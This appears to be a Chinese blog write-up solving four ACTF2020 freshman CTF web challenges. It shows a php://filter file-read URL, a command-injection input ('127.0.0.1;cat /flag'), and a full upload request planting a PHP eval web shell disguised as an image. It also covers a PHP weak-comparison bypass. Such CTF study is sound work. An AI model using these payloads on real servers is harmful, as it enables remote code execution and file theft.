# [WP][ACTF2020 新生赛]

原创

Y4tacker 于 2021-01-14 14:27:42 发布 668 收藏 3

分类专栏： # 比赛WP总结 # CTF记录 # 训练打卡日记



本文链接：https://blog.csdn.net/solitudi/article/details/112607605



## 文章目录

[ACTF2020 新生赛]Include

[ACTF2020 新生赛]Exec

[ACTF2020 新生赛]Upload

[ACTF2020 新生赛]BackupFile

## [ACTF2020 新生赛]Include

打开环境，点击tips出现

> Can you find out the flag?

观察到浏览器url的后缀变化`?file=flag.php`

因此不难得到，应该用伪协议进行编码读取

```
http://a7631c34-a214-4e36-9184-e1957ecc34c6.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php
```

之后base64解码，得到flag

```
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWE1YjZkMzUtZjA3ZS00NWU5LWIwNjMtZGMwOTI5NDNlYzY4fQo=
```

# [ACTF2020 新生赛]Exec

看标题猜到是RCE

无过滤，输入

```
127.0.0.1;cat /flag
```

另外记录一下

```
;前面和后面命令都要执行，无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句
&前面和后面命令都要执行，无论前面真假
&&如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令
```

# [ACTF2020 新生赛]Upload

嗯，考点是文件上传，尝试php3,php5失败，php7成功但是页面没有渲染，之后尝试phtml后缀成功，下面是BurpSuite请求包

```
POST / HTTP/1.1
Host: b85d37f5-3d44-4eab-a428-6633d528130c.node3.buuoj.cn
Content-Length: 311
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b85d37f5-3d44-4eab-a428-6633d528130c.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyhK7HZ5Xq4Qc0HxB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://b85d37f5-3d44-4eab-a428-6633d528130c.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176eeefef524b1-06a7c2cac68426-3323765-144000-176eeefef5397e
Connection: close

------WebKitFormBoundaryyhK7HZ5Xq4Qc0HxB
Content-Disposition: form-data; name="upload_file"; filename="2.phtml"
Content-Type: image/png

<?php eval($_POST[1]); ?>
------WebKitFormBoundaryyhK7HZ5Xq4Qc0HxB
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryyhK7HZ5Xq4Qc0HxB--
```

> 根据提示./uplo4d/04b83e34e98d42802696941d27bc6c12.phtml

访问后用1为参数指行RCE即可

> 1=system(‘cat /flag’);

获得flag

> flag{8da8cae1-3277-4853-a45e-92f503b33c2a}

## [ACTF2020 新生赛]BackupFile

> 看题目，再加上是php，因此拼接后缀得到源码http://70ef8aeb-1320-48e3-a533-1045b770b03e.node3.buuoj.cn/index.php.bak

审查源码，key必须是数字，并且必须与str相等，考点是弱比较，采用get请求key=123即可

```
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
```

访问即可得到flag

```
http://url/?key=123
```